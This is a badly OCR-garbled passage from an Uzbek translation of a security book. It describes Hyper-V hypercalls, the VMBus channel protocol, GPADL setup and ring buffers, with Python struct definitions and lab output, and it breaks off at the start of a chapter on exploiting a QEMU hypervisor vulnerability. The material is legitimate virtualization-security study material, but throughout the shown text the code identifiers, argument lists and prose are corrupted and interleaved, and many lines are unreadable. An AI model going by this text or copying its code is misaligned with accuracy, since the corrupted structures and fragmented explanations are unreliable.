“rep” (repeat). Oddiy giperso‘rovlar bitta argument bo‘yicha operatsiyani baja-
iy 0*lchamdagi elementlarning o°zgaruvchan
giperso‘rovqa misol HvCallFlushVirtual-
qarashli buferini (TLB) to‘liq

radi, “rep™ giperso-rovlari esa qat’
o*lchamli ro‘yxatida ishlaydi. Oddiy
AddressSpace bo‘lib, u mehmonning tarjimaga
bekor qilish uchun ishlatiladi:

HV _STATUS HvCallFlushVirtualA ddressSpace(
_In_ HV _ADDRESS_SPACE_ID AddressSpace.
In HV FLUSH FLAGS F lags.

_In_ UINT64 ProcessorMask

)

Ushbu hyperso*rovning kirishi 24 baytli o*lchamli blokdan.“ib'orat (har bir ar-
gument 8 bayt). Bu hyperso rovning “noaniq sarlavha o'kfhaml dl.r.' _ '
Boshga tomondan. H\’CaIIFIushVirtualAddreSSLlst. “rep”  giperso’rovi
bo*lib. bekor gilish uchun GVA (Guest Virtual Address) oraliglar ro*yxatini qabul

qiladi:

HV STATUS HvCallFlushVirtuald ddressList(
_In_HV _ADDRESS_SPACE_ID AddressSpace,

In_HV _FLUSH_FLAGS Flags,

In_ UINT64 Pmce.s'.s‘m'fl-i’a.s‘ﬁ:.

_Inowt PUINT32 GvaCount,® _
_In_reads (GvaCount) PCHV_GVA GvaRangeList®

J;
CaIlFIushVirtualAddressSpace bilan

bir xil va ular 24 baytlik qattiq o‘lchamli doimiy sarlf.}v?]imi 1}0;1] ql[]l'la[:i'l'-['(l;-:i!l‘
va chigish sifatida belgilangan GvaCount @ arglun'lentll:l‘l’ Oarflcslm':;:il:l kOl(]i]l?all“l: i,
bu argument RCX registrining “jam! takrorlar (rep) ZOEI o m; doni dastlab iarll-'
Xuddi shu registrning “boshlang ich i A T]asrlini ayta ishlaganda 1?ni
8a teng bo-ladi, keyin €52 gipe t'Elem'en ti ag‘fnatilishigmumkin
oshiradi, shuning uchun nihoyat GvaCount uning 4% - Lg hlanishi hisoblanadi
GvaRal;geList a@ 0~zgaruvchan o‘lchamli 10 ylyflatt?:jqfelz; 62:1; = sochz m]—
Xotirada bu 24 baytli blokdan keyinjoylashg&ﬂ- ar - gk ¢
t GvaCount elementlari sonini 0°z

fia (bu holatda, 8 bayt) bo* lishi kerak va ro‘yxa
Ichiga olishi zarur.

Bu yerda birinchi 3 ta argument HY

rso‘rov ro’yxa

halariga kiritilgan GHIE Iv6/ch235/4abs/hyper-
JIPosiMessage) va “tezkor “(fast)

= ichiga oladi.
‘ 225

1 .
80 e’ (!J"l'( 4

Maslahat: Ushbu hobning 1
fore Jalanishni ©

call. py moduli *sekin "f-*';“”'_} ‘wh;' o
'er!){’f‘_\'(’ e ff.“'( '{ ..-fl.\;l;‘u'.jhff}. ‘.'('”I‘;l‘ al

A B



“Rep” giperso‘rovlarining qizi
hisobini” tugatmasdan oldin qayt
(RIP oshmaydi va VMCALL qay
lash indeksini” boshlash giymati
ettiradi. Ushbu mexanizm gipers

qarli tomoni shundaki. ular “umumiy takrorlash
arilishi mumkin va qayta chaqirilishi mumkin
ta bajariladi), bunday holda ular oxirgi “takror-
dan ro‘yxat elementlarini gayta ishlashni davom
o'rov davomiyligi deb nomlanadi.

Eslatma: Giperso ‘rovda o thaziladioar
vomida qolib ketmasligi uchun chegaralun
oddiv giperso roviar ham giperso rov dav

1 vugl \‘frfmu‘;rmmw.wr Hzog vagl clai-
8an bo lishi kerak. Shu sababli. ba =i
muh.'r'.fd.:m'fu_l‘u’uhmm i

Giperso‘rovlar: o‘zgaruvchan o
Giperso‘rovlar aniq o*lcham|
mentlarning o*zgaruvchan o‘lch
chan o*lchamdagi ma’lumotla
chiqiladi:

‘Ichamdagi sarlavhalar

€ga va “rep” giperso‘rovlari ele-
g4 cga. Giperso‘rovlar o‘zgaruv-
“lishi mumkin. Ulardan biri ko'rib

I sarlavhaga
amli ro‘yxati
rga ham ega bo

HV_STATUS HvCallFlushVirtyaiq ddressSpaceEx(

_In_HV_ADDRESS SPAC E_ID AddressSpace
_In_HV_FLUSH FLAGS Fiags ’

_In_HV_VP SET ProcessorSer@
Ji

Bu, HvC allFlushVirtual A

ddressSpace’ ao* Bl : i
Mask o‘rniga ProcessorSet =8:0 Bahab ko rinadi, lekin Processor

® ishlatilgan, by 0°zgaruvchan o*Ichovli to*plamdir.
l)’}’?ffangan sarlavha birinchj ikki argumentga (16 bayt)
0°zgaruvchan o‘lchovli sarlavha hisoblanadi.

ha tayyorlangan sarlayhalardan ke-
baytli 0°lchovga yaxlitlanishi kerak-
I bloklarda) RCx registrining 25-17

mos keladi va ProcessorSe

vyin joylashtirilishi kerak ing o i
O°zgaruvchan sarlavhaning 0°Ichovi (8 baytl
bitlarida kodlangan bo*lishi kerak.

Oxirgi misol 0°zgaruvchan 0°lchovl; sariavhalarga €ga “rep” giperso rovidir:

_In_HV_ADDRESS SpacE 1D A ddrsgi s
In_HV_FLUSH FLAGS Flggy = Poce
_n_HV VP SET ProcessorSer,
_Inowt_PUINT32 G 'aCount

In_reads (GvaC
i (GvaCouny) pcy V_Gv4 GvaRangel iss

- Af]g;l]melr.ltlarlxo:rada Joylashtirilish; kerak b
O'lchovlr sarlavha, keyip o'z ;
e Y garuvchan o‘|c

22(5}

o‘lgan tartibda: ayval tayyorlan-
hovli sarlavha, va nihoyat “rep”

-

VMBus interfeys

ce Provider) va IC (Integration Component)

logot mexanizmi. Mehmon-
tomonidan foydalaniladigan kanalga asoslangan muloq

ini idagilar:
. . . ishi uchun minimal talablal'fllf}’l gl
e Y%M CB u]S]PdanI\ir‘lO)izguvsjlul;:CallSignalEvem chaqirishni qo‘llab-quvvatlash.
* HvCallPostMessag S

‘tkazi MSR
HV X64 MSR GUEST OS_ID'ni royxatdan o tkailsh va HV_X64_MSR _
HYPERCALL da gipers&rov_sahifasini xaritalash kerak.
e HV X64_MSR_SINT2 dan foydalaniladi).

« Kamida bitta SINTx ni ochish ( xg4 i SV,
« Xabar sahifasini xaritalash (HV_X64_ L

VMBus — bu VSP (Virtual Servi

e ti' b)oshlash'"' so‘rovi yuboriladi
i -rpatish uch
VMBus bilan aloqa o'rnatis

un “alogani . g
i sh 1D ga yuboriladi
% orqali). Ushbu xabar 4-raqj1§h ulani g
vCallPostMessage ! podh 5 TR
(avvalgi versiyalar 1 dan foydalangan. leki

n foydalaniladi). Ushbu xa-
co°chirilgan
: I 1 freymvorkga ko*chirilg
barning tuzilishi (Linux vadrosida topilgan 1 riflardan frey
arning tuzilis X)
holda) quyidagicha:

ader = c.Struct(
VmbusChannelMessageHeade!

msgtype' / ¢.nt32ul.® s
padding'  c.Consi( 0. c.ints21
J
VmbusChannelnitiateContact
hdr '/ ) 'mbusC‘h;:umeb’t-.fc.\:s.ugc"
'1'.rnhu_\'_rersfrm__req:wsw{i /e
‘target vepu' /¢ Int32ul®
‘msg_sint’ /c. .’nr:ﬁ’u!.- (4]
‘padding* / c.Bytes(7), -
‘monitor_pagel” /¢ Int64 H;-@
‘monitor pagel’ /. Int6-4u
J

= c.Struel(
Header,
nt32ul.®

.1 xabar sarlavhasi bilan boshlanadi, bu esa
bir xil X

; teng bo*ladi. Keyin-
Barcha VMBus xabar!ﬂoﬂ Ushbu holatda: Plsg%?sl:riagr? olganda, eng yuqori
Xabar turini o*z ichiga oii‘;\dl : 1.i o'z ichiga oladi ©. tar versiyalami pasaytirib bo-
8 Aiaydon VMBI Vers,yasflil' iyat qozongungﬂ anu holatda, ushbu konfigurat-
versiyani boshlash va MUOTT i yuborish): BY BT 6 Keyin, mag-
tish kerak (bir nechta aloqa . ersiyani go‘rab bitta: ing SynlC’ga yuboriladi) va
Slyada ishlashi kerak b%lgizb\;rlari o*sha protsessOrine
Sadli virtual protsessor @ U i

z)bor. im etish mumkin. Ba’zi
SINTx @ (biz SINT2'dan foydalanar ) GPAlarini taqdim ets
Nihoyat, ikki “monitor

ini . in: lgilana-
» sphifasining Yrer ishi mumkin; ular belg
e un bularn ishlatishi na(child-to—pafem) (root

: lar uc an ota-0
Qurilmalar tezkor xabal‘ﬂori?ianchi sahifa © bolad

di, ammo ishlatilmaydi. B




partition) xabarnomalarin; olish uchun, ikkinchisi @ e
child) xabarnomalarin; olish uchun ishlatiladj.
Agar muzokaralar muvaffagi

tomonidan Yyuborilgan
da berilgan SINTx ga

VmbusChannel Pizr.rionResponse =
‘hdr '/ Vimbusc, ha

c.Strucy(
e fMes.s‘dgeHmden
‘1'ef'sio.!r_.mppo."red' /e IntSul

‘connection sigle’ s c.IntSul

j,mdding " Jednt] 6ul,

‘msg_conn_id" /. Int32yi@
/

VMBus’da

. Takliﬂarni $0‘rash
9ays1 qurilmala,
(request offers

cpash”
ma’vjudligini aniglash uchun “takliflar so ﬁ:lse 7
) (msgtype 3) Xabarinj yu Oramiz, py, Xabar faqat Vmbusc_h.g.m ffer
MessageHeader’dan iborat. abar yuborilgach. bir necha “kanal taklifi"(0
channe]) (msgtype 1) Xabarlari olind;

+(all
: , . cazildi”(@
\ Va nihoygy “barcha takliflar )"C"‘a/jl han-
offers delivered) (msgtype 4) xabar; bilan yakunlanadi “Kanal taklifi”(offer cha
nel) tuzilish; quyidagichg: '

VimbusC fmrmei{)ﬁf;r = C.Struet
P ope' UuID,@
i _instance '

/ UUID.@®
reserved] /e, fmd-ihd,
‘reserved? /e !n!ﬁ-fu(.

chn_flags’ lednty 6ul,
mm 10_megabyeg -

/e, Int} Oul,
(120),

' /c.!:rfhjy,{
Ant 16y

‘.mb__ciramre!‘:}rdex
reserved3’ /.

)

VmbusCfmm:e[ (9]

ﬁéf‘Chmme! =
‘hdr / Vinbuys ; C.Str ey

Sageteqy,,
(il kamrefOﬁ"e,: er,

monitor_qf locateq®

/ c:fm&u.’, (2]
'.*'s__dedicaied_imerm /'

: ‘lnt gy
'camrecrronj d'/ c.lmj‘}um !
)

ar1i-10-
sa ota-ona-bola (parent-t

r $ni
L ‘*\-‘}'.

st il velid @
csusdir. child_r
hun maxsus :
“lumotlar qurilma va ka}n?l u-:-;natish va qurilma bilan aloqla
Bu xabardagi 11?]": U umiy xotira hududini 0° higa oladi. Agar momto;;T]a ’
i keyinchalik umumiy : *sini 0°z ichig : alar bilan
maydoni key 1l'l(3l-_l latiladiean kanal ID’sin izisilionn wabsmom
o'rnatish uchun ishla i qurilma nazor
teng bo ¥
located @ nolga teng

- i -."—, un
[ 2 lq © o

. . ali).
ishlatiladi (HvCallSignal Event org

[ J .d Iﬂa.lumo

. ; ID sini o'z
i Imaning UU ;
"lum bir quriiman S1if tvpe bilan
s or)sini. if instance @ esa ma urilma bo‘lsa, bir xil if_typ

ly unique identiiler)s”f;a bir xil turdagi lkk}?rl'qkoirESh iy

H 1 1 i g % L. - nl

ichiga oladi (agar \:Mcc bo*lgan ikkita takli

. - - - S “
lekin har xil if_insta

liglari ncelun
ifl - vorliglari wuc
; kator vor !
UID) identift e ol cichik-cn-
b identifikator (UL ;":f s 4y LD fage kil
v opovon e N ‘-)’”ﬁ” b
Eslatmal U numiy H\r; T b s
= o T I0B |
iitlahisiidogis 13 e
Mandarilashiti W i ‘!””““
lian variant sifarida muroja
AN varie /

[MessageHea-

e busChanne

ining tuzilishi Vm

‘14i”* xabarining

S P tkaledl ‘\a'

“Barcha lakllﬂa‘_f".3 " “ladi.

der (msgtype 4) ko*rinishida bo  hi 25.4:
el Laboratoriya is (:«y;afg“' olish

arni ro‘y’
urilmalarn

duli hozir-
25 bus_py mo :
HH i ini digqat bilan
Itirilgan G V6m|l]iradi, Uning kodini digqa
Uetiba babi bitan buss l:;sala;ni amalga 0s
ey yan barcha n
acha ta’riflangan

o r.
- ishingiz zarur. T
*tibor beris i N qutilin
. nga e t1bor , aridan o <
tiladi. har bir Qada?r;’ak Utakhhab[a'r[ld relid qiymati, if,_ins-
‘Gishingiz tavsiya etiladi, hat 7 haqUBsRs s child jud.
e e ric rasi e a) mavj
0 qli“ﬂ!:biz uni ln-g-ndanaolgbu ma’lumotlar ?ﬁga aylantirilgan holda)
sar > etadi. Ush ilma tavsifiga a
n ini etadi. urilma
Ma’lumotlarini chop

[Ddan ¢
tance UUID va if_type (UU

(root = ghh6)-[ "I"{:Sj
E# python3 v.wb_lf”’-‘
--omitted for b;e;sff:,;;i! 72-
“FER ID: 1] lecc/d: ¥
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e

[ gj:: }f; gﬁ ::g j :; ] 24503;340—3 3bf-4/bd-892e-91b06¢92 | 4/ VSS (Backup/Restore)
[ 2 12] f5bee29c-174] --faad~a45-2—é’ﬁ!edb4 6dce2 Remore Desk top Virtualization

[OFFER ID: 13] 612/86d6-1]4a- 12b8-90ca-f3f119bd23 0 SCsI

[OFFER ID: 14] 89b44 895~a96d—4625-35b()~cﬁ' laaa9f2a2 Nenvork

P Kanal ochish
. h-Tak]]fc.“hn.g.an qurilmalardan biri bilan aloga o‘rnatish ikki bosqichni 0°z
igtini ?]iili' E;r;rrl°nihlfia.“’ oz o0n bilan baham ko‘rmogehi bo*lgan xotira ora-
rou'}’xatiyvub(?rila];]i a?l?!? ta}j}qr]ayd]gan mehmon sahifa freymlarining (GPFN)
bolinadi- biri qabul .l‘.“; dan, bu hudud ikkj halqa-buferiga (ring-buffers)
mezbon c.)"rlasiga (YOE; :ni UChunf .]kk'"ChISi €sa uzatish uchun. Mehmon va
i ' iasta) oty ulashishqrh(;[céhq]hb aytganda, bola partiyasi va ota partiya-

mon Jis i I P
(GPADL - Physical Address Des ki

e T asvirlagich Ro‘yxati
: . : Criptor List) yarat : irila-
di. Agar Windows xotira tasvirlagichlar ro'y ) Yaratish orqali amalga oshiri

Hste) Bl Bttt on Ll xatlari (MDL ~ memory descriptor
bufse)r y;f;iganélglqbgg;:r [})]:Or]-stlircllgacl};ggﬂlanmagan jismoniy xolirad)an uzluksiz
SPFNIlarga aylantiradj), 4. GPFNIar yuboriad; (mezbon ularni tegishli

“GPA diapazon]arj” (G

P PA ranges
bir diapazon quyidagi tarzg ges) ketm

a kodlanadi: “kelligidan GPADL yaratiladi va har

GPARange = c.Struct(
‘byte_count’ /¢, Int32ul @
‘byte_offset’ / ¢, Ini32ul &
pih_array’ / . Array(
lambda 1: ceil((, byte
)

def 8pa_range(address, Size).®
Start_pfn = address >> 1>
end_pfin = (address + size) >> 2

return

‘byte_count size,

byte_offset": addregs & Oxff;

}pﬁ?_ar'r'aj* - range(start_pfy end " pfn)

_count + ¢, byfe_o_ﬁfs-e:) /4096), ¢. Int64ul)®

GPA oralig‘i — py o¢
oralig‘ning 0‘lchamibay?lazr§iaangih%n 0lchamdag; 1yi1nq bo‘lib, avval bitta
nisbatan baytlarda offset ® berilac?i rs']z*ltl]?idi va keyin birinchi xoti;a sahifasiga
ro‘yxatini @ o°z jch; : © Yzlimaning qolgan gismi 2 1ing
mentlsriniig go or;gi?qoé?;j;ﬂfrziesa zoulza oralig*inj ?fod;i:,%’i.?{zljriz:’ele_
sahifalar soniga ot va boshlanigh offseti : ‘lgan
gani uchun élg(,aﬂ?:n]f ::::‘u‘;;ik ushbu tizim 1.} xotirﬁax:r?t:sii;:;u ;032;I§n=
va o‘lcham argumentlar » S1z sahifalardan foydalaniladi, Asosiy manzil

rilgani
ganida, 8Pa_range @ funksiyasi GPA oralig'ini

230

i -

Lo A S 8) GPA
‘rovini (msgtype

; : saratish uchun GPADL heade." S 'ro dlanadi:

qaytaradi. GPADL yaratis bar quyidagicha kodla

: Lot ladi, Buxa
oralig*lari ro*yxati bilan yuboriladi. B

def gpa_range size(ran ge | ist):®
return len(b * join(map(GPARange
VibusChannelGPADLHeader = L‘.Sfr'iff‘!f

‘hr' l',r”h;;_s;(“hgmm.'f.-\-!e.'.‘sageHmdc!.

‘child relid’ / c.lnt32ul,®

gpadl' ' c. h:f.?.?m’.@b -

range buflen’ / c.Rebuilc )@

c. hnj} 6ul, ‘;crmhdu [ g,r;-u_mnge_.s'z:eﬂ.u:mge ) s

; len_(c.th
‘rangecount’ / ¢. Rebuild(c. Intl 6!‘!'; LG PArRal 1ge). ®
'."anga ' /e Arre (et his. ,.tn.'gﬂ'am: )

)

build, range_list))

navjud. Aloga o'rnat-
ndan olingan qiymat
tiladi: bu GPADLni
ari ketma-ketligi ©
t ® da o‘rnatiladi
ange_buflen (5] d.a ko®r-
ini kodlash orqali ushbu

: doni 1
g I|d @ may
Xabar sarlayvhasidan so'ng- c?llqrrt;:ridagi shu maydo
Moqchi bo*lgan qurilmaning takl-lf Mlaﬂaﬂ giymatga o'rma
) 2 doni taniazer PA oralig’l
taqdim etiladi. gpadl @ may o oxirida G

. - o 4i Xabarning - ecoun
aniglash uchun ishlatiladi. X 2 jementlar som! rang

1, 1 e
Joylashgan. Bu keuna-ke‘m‘df%] o i (baytlarda) ¥
Va bu ketma-ketlikning umumi

P rasi
Sali]adi_ gpa_rangcpsize 6} fllnl"-sl} i bitta "'GPADL sarlav-

X byt : . hik bo‘lsa, ; L
©*lchamni hisoblaydi. S — pufer juda lehlI: (alab qilinadigan PFN Vﬂ/')f::kl
Agar yaratilmoqchi bo'ig kin: ammo: aga , xabarga sig‘masa, bunday ho-

1 bitt

S e ishi mun .
as1” xabariga joylash ' uchun ishlatila

: i ifo an X
Oraliglar soni katta buferlarnt l||PostM ssage toange” maydonining mazmuni
latlar bo*|ishi mumkin (HVC3

e

tlarda, "TA78% .« GPADL sarlavha-

nday holater™ . ohi qism G { Ctsge

240 bayt bilan cmk’aqgan)égilarga bolinadi: B-I-EPADL body™ xabarlari (msg
U 0%lchovga sig*diradigan

e golgantari
si» (GPADL body) bilan yu]:l)(;,rlladl va(q -
lype 9) seriyasida yuborl!al;i-ll: arlavha V2 k.lgyingl

GPADL body xabarl b! <piriladi
hani kodlash quyidagicha amalga ©

, = ¢.Struet(

4 : ‘ i
dalash ucht! digan xabar o°lcham

gismni 0°Z ichiga oladi. Sarlav-

VimbusChannelGPADL B Ud.:mg
ey / l’mbnsChfmneiﬂ-fes
‘msgnumber’ /¢ nt32ul,

)'E{Padf' / c.nt32ul® di (har bir yubOﬁl'

o' lakni aniglay GPADL sarlavhasi

: ilayotgal maydoni
Msgnumber © maydo™ );lllgggdi) va gpad! @ M

8an bolak uchun bu qiy™? O:matiladi-
Xabarida ishlatgan qiymate?

i~
2

_



type 5) so‘rovi yuboriladi.

matga o‘rnatiladi.
GPADL identifikatorin; ri
® da bu bufer ikkita
Magqsadli virtual prot

GPADL sarlavhasini va (ixtiyoriy ravishda) bir yoki bir nechta GPADL 350:
sly xabarlari yuborilganidan so‘ng, GPADL yaratilgan (GPADL created) (msgtype

10) javobi bilan GPADL yaratilgani( hagida xabar beriladi. Ushbu xabarning tarti-
bi quyidagicha:

VibusChannelGPADLCreated = c.Struct(
‘hdr® / Vmbm'ChamzelMe.s'sageHeader:
‘child relid" / c.ht32ul ®

gpadl’ /c.nt32ul ®

‘creation_status’ / ¢.Int32ul®
J

child_relid® va gpadl @ maydonlarida taqdim etilgan giymatlar mavjud va
Create_status® nolga teng bo‘lishj kerak,

Nihoyat, ring-buferlarni o*rnatish, uchun “ochiq kanal™

(open channel) (msg-
Ushbu Xabarning tartibj quy

idagicha:
VmbusChannelOpenChannel

= e.Struct(
‘hdr' / VinbusC, hmmefMexsageHeader;
‘child relid’ / c.lnt32ul @

‘openid’ / c.Int32ul &

ringbuffer gpadl’ /¢ nt32ul @
target_vp' /c.Int32ul©

downstream_offset’ / c.nt32ul®
user_data’ / c.Bytes(] 20),®
)

Odatdagidek, child_relid @ taklifning child_reliq maydoni bilan bir xil qiy-
Tanlagan diymatga openid © O'rnatildi va yangi yaratilgan
ngbuffer_gpaql @ g, o*tkaziladi. Downstream_offset

halqali buferga bo‘ladigan ofseq (sahifalarda) o‘tkaziladi.

_ SESSOr @ va user_data @ nolga o*rnatiladi.
Agar so‘rov muvaffaqiyatli ho-

Isa, biz “ochiq ka al natijasi” (open channel
result) (msgtype 6) javobini olamiz; q kanal natijasi” (op

!"mbmChmmefOpenResrr.-’r = c.Struct(
‘hdr' / VmbusC, lzamze[MessageHeader:
child relid’ /. Int32ul @
‘openid’ / e, Int32ul ®
status’ / e.Int32ul &

)

child_relid® va openige ma
status® nolga teng bo‘lish; kerak .
orqali bog‘lanish mumkin.

ydonlarida taqdim etilgan qiymatlar mavjud va
Ushbu nuqta

da qurilma bilan ikkita halqa-bufer

By -

[ jrgac huntirilgan

. moduli hozirgacha sl o
LG ¢h23 Tabs vinbus.py 1 |

et - ichiea oladi.

Kodni o 'gish orqali ushb
) ' jrishni 0z
barcha narsalarni amalga oshiri

bobni 1o}, liring

Halga-bufer alogasi

: ‘lib, u ikkita halga-
iy bufer mavjud bo .
Bizda GPADL dan yaratilgan ”mumi;ul;u ikkinchisi esa gabul qilish uchun.
L 7 L [ -

e B ish u : di va keyinroq
li buferga bo*lingan: birinchisi ulzatlS' inchi GPFN'dan bUSh_lana. : im etil-
U - bufer GPADL ning birincit I” so‘rovida taqdim
zatuvchi ring-bufer S P di va
quyi oqLit;dla j:)\-'lashﬂan GPFN'da tué’~a}zzltish b S
ganidek). Qabul qiluvchi halqa-buf‘zg u
s ’ ) yavdl. . 5
“RATL? ning oxirg! GPFT\qu:?)buzhun haqiqty ma Llilfemina
Otkazish (yoki qabul qilis) * alge- i
hing ikkinchi sahifasidan bctshlal:::gzju :
halqa—bufer holatiga ega tuzilma

di (“ochiq kana '”
uferining oxirl

motlar har bir halgqa-bufer-

birinchi sahifasida
Har bir h

RingBuffer = ¢.Struct(

Write index"' / ¢.Int32ul,®
read_index' / c. h:!i.’m".,? f
‘interrupt_mask’ / e. lm)_i'{] : f
pending send sz'/¢. [nt32ul,
'f‘e.\‘enx:d_' / ¢.Bytes(48),
Jeature bits’ / c. Int32ul

U = n

e ‘Idiruvchi
ma . cqhifani to*Idirish uchun tod i
Qo*shimcha (reserved) liardan keyin s4 ¢ write index® va read_Imnae:

ivilishi kin.
kelishi mumkin va bu may:;:_:nish uchun fagat’ olga teng %ldmlllsl: ELL{I;: =
ba}’llar keladi. Asosty foy'm-.ani"g qo ;dorli boshlanishldan (ha q
82 e’tibor berish kerak: tuz! o’lumot May ‘o1 bilan
Har ikkala indeks halga-bufer mi ifodalaydi- ¢ indexma’lumot uzunligi
latidan keyin 4’096 bay{) ofsetn rite

A W ‘|sa. indeks aylantiri-
Jganca, ™", atta bo’lsa. .
Ma’lumot halga-bufergd yoEE idan K buferda qolgan joy

‘ lga-
: _pufer © po‘lsa, ha - ’ga teng.
°Shiriladi: agar 05hil‘lSh ha]qai“dexsdan kEf Osshi]gan I'E.ad__llldgx igndexnga
ladi. Agar write indexred- 0 index's o'lsa, golgan Joy Y&~

. s S z
Alqa-bufer o‘lchami mint ox'dan kichik
gar write_index read M a’lumot halq
Minus ywrite_jndex’ga €N * .

puferdan o‘qilganda_. read_index
a-bu

qa-bufer vaziyatga qarab

iri ‘Isa, hal i write index to

_ shiriladi ng bo'lsa, ¢ oki write_index t

Shunga 0*xshash usulda 9 Write_.. tecf g wme_mdex :k, buni muloqot qt-
Agar read_index V3 : read

: iva
janish identifikatort maydoni
a

n

1 ki1 - d
bo‘sh yoki to'liq bo‘ladl.(y;nda, stni xabaru
'®ad_index). Bu sodir b0 ;Ela gigan takiifning

ayotgan qurilmaga mos

(R
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[ I

nolga teng hodisa belgisi yordamida HvCallS;
oshirish mumkin.

Ma’lumot*paketlar™ ichiga joylashtiril
dan qat’i nazar. to‘liq paketni ani
bilan sarlavhani o°z ichiga oladji:

| class Packet Tipe(Enum): @
; VM_PKT INVALID = ()
: VM_PKT SYNCH = |
VM_PKT ADD _XFER_PAGESET - »
| VM_PKT_RM_XFER_PAGESET = 3
VM _PKT ESTA BLISH GPADL = 4
VM_PKT TEARDOWN GPADL = 5
VM_PKT_DATA_INBAND - 66
| VM_PKT_DATA_USING XFER psGEs - 7
| VM_PKT_DATA_USING GPap], - g
| VM_PKT_DATA_USING GPA_DIRECT -
VM_PKT CANC EL_REQUEST = 10
VM_PKT COMP = 1@
VM_PKT _DATA USING _ADDy TIONAL PKT = 1>
VM_PKT ADDITIONAL paTy = 13~ )
| PacketHeader = ¢ Sty
| ‘pe' /edntl6ul @
‘offset8" / c.int16ul ®
len8" /c.intl6ul ®
fags' /c.nt16ul ®

trans_id" /e Int64ul®

gnalEvent so*rovi orqali amalga

gan bo'lib, bu paketlar ichki tuzilmasi-
qlash va 0°qish uchun zarur bo*lgan ma’lumotlar

halqa-buferlar orqali mulogot qilish uchun GHHv6/ch25/labs/vmbus.py moduli-

dan foydalanadi.

xeo ‘rinishi bilan boshlandi
Ushbu bob Hyper-V arxitekturasining umey ko'rmlsh ] ITI E}Ei '(:Jm[ada:;
/ingi gismlarda Hyper-V ga xos paravirtuahzatlm}:a -“”SUS[Y“E?an. dz; €VMBUS)
5?1:/:5(’ 'c“telik MSR. SynIC va giperso‘rovlar) va ildiz(root) bolimi
sin 2 O) i
amalga oshirilgan funksiyalar ko'rib chiqildi.

i balar
Qo‘shimcha manbal . . i
tib o‘tileanidek, ushbu bo‘lim tadgiqot o‘tkazish uchu
h ucl;un fagat umumiy kO'I‘lI‘I[S:hd]I‘. NP
ma’lumot olishning usullaridan biri uni teskari m -
q to*plamining aksariyati disk raskadrov.ka belgﬁ
Rays v’a WinDbg kabi vositalar yordamida ospniil;aitle;?n;
. . pE f Ly . sy . . o
la-ll‘[ga ega. ulai m[ H'eio -VMM komponentl (h\’l?\ﬁ-l.e}l\;."). u ulTu?Bi\ p?aiinlgri
- i LSOARE = iladi. Bir nechta g
gg;::nl:; Ti\ :TIS]']LII'IiSh uchun ko*p harakat talab giladi
(& [

Katta yordam berishi mumkin:
* Behrooz Abbassi (@rc;n{rlj]z

VMX‘}’Ol‘damchini https://g! N ‘

ey il o fixailos) tomonidan ishlab Chlg]lﬁ%?[]a:{agll(-]ef:n[?ji ]:{ilz:l
vl bl 2 (cli@: I;;DB faylini },arati-sh ucr;.;l.ll::sl:?r-:liz mumbkin.

. ma' Iup ]-O ' l?azabl ﬂhbu faylni winDbg !311..511’1 ?u"atlami o‘qish. Hyper-V

e Ak U?Ud rasmiy V2 norﬂbm;() d;lgi'v (@gerhart_x) tomoni-
Yana bir usul — mavjud ™ udy ) 2

i 2 o8 V-Internals/ sayti-
- ini lig e % 1/Hyper-V-Inte 3
Elfcmm oy et ﬁ?ighitps:L/I/github.com/gerhaﬂﬂ YP
N qayta tuzilgan va t

an topish mumkin.

Kirish qismida aytib
boshlang*ich nuqtani beris
Hyper-V haqida ko"prog m !
handislik qilishdir. Virtualizatsiya

onidan ishlab chigilgan MSR-dekoder va

o Ninja/Re-Scripts/tree/master/scripts

b.com/Rce

iyotlar ‘
bll::};;}ment hitps://docs.microsoft.
’ es/oem-hvci—enab!emen;

sign/devics orks” https:f/docs.mlclroso .
rCr ' IGuar/ir\;c(l}emiaI-guard/credentlal-gu-

Foydalanilgaf' “‘:‘I‘l
tegrity .
L. Hypervisor-protected Code Integ! _experienc

com/en—us/wincICt\‘VS‘hard‘iwr(::l rC

2. “How Windows Defe“ 'Sentit}’-PrOl
cU'W'en-us/\\-’inclu:ms/seCll"”}/’[1
ard-how-n-works. - ApplicatiOn Gua

3. “Microsoft Defender / hre
S‘)ﬁ-'C-Dm/en-us/wirlci'DV"S/Secur‘lc;[z:\.{.t
onﬁgUard/m d-app-gual’d'ovem ity program,
4. “Microsoft Hyper-V Be

Nty-hyper-v.

verviews” https:f/docs.micro-
0 A

microsoﬁ‘com/en—us/msrc/
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zer-for-virtual-cpus/,
6. “Hyper-V Integration Services,” htt
zati0n/hyper—v-on-windowsireferenccr’inte

7. “Universally unique identifier,”
ly_unique_identifier.

. 8. _“M:ake your own integration services,” https:/!docs.microsoﬁ.comfcn-usf
vmual:zatron/hyper-v-on~windowsfuser—guide/make—intcgration-ser\fice-
9. ¢ HV_PARTITION_PRIVILEGE_MASK," https://docs.microsoft.com/

en—uksfvirtualization!hyper—v-on-windowsillfs/datatypes!hv partition_privilege_
mask. 2 -

10. “Hypervisor Top-Leve] Functional
comfen-usfvirlualization/hyper—

ps://docs.microsoft.com/en-us/virtuali-
gration-services.
https://en.wiki pedia.org/wiki/Universal-

Specification,™ https://docs.microsoft.
v-on-w1ndowsfreference/t[ fs.

By -

26-BOB. HYPERVISORLARNI XAKERLASH
- (CASE STUDY)

idagi g i 0°z ichiga oladi:
vidagi mavzularni 0"z 1¢ iga oladi: _ .
Ug?ﬁlgqgaqzhri]n:a emulyatsiyasi zaifligining ildiz sabablari tahlili

8 a EHCI asoslari o vV ochish
. l;:igd\;rllanllvcm rejimidagi ishchi jarayon (QEMU) uchun VM q

ekspluatatsiyasini ishlab chiqish

iva kodida Xiao Vey va Ziming (?hja“

b Serleegey g foydalanilgan. Bu oddy va
Fomon:dz'm C.‘\f'E'J?“_ ‘b uni-ajoVib amaliy tadqiqotga a.y]z-mtu.radl. b
e hb-il;ldan ishchi jarayon komponenti ‘Slfé’-l'fld?l foy arz‘1;1111mﬁ51'_.l
klabi gipewlisorlgEQMES magqsad qilinganda. foydalanuvchi rejimidan foyda
shuning uchun QE - S BRELE
amalga oshiriladi. hased Virtual Machine) \{irtu.a!lzatslly.asu}l

Uskbu bobda ' KVI:!H iffigfiigzsgocke" o‘rnatish je'lra?’om [k)o-r:; :I;lf-?—:::]j]l_
qo‘llab-quvv'allz.l}"dlgar:”\:l virtualizatsiyasi yoqilgan bo'llShl(]""';u;‘;a mavjud.
Sizning ms‘}ngliq?aii Ushbu jarayon uchun barcha kodlar Git
ganligi taxmin qilinadi.

: ing/GHHV6.git
$ git clone l.rﬂps"":'girhub.r.'omfG"‘U’H‘”H{wh”‘g
git clone https:/.

iladigan barcha vositalarni 0°z ichiga
=)

ishlat sy’ :
i va ushbu bobda ishla llar Docker konteyneri ichidan baja-

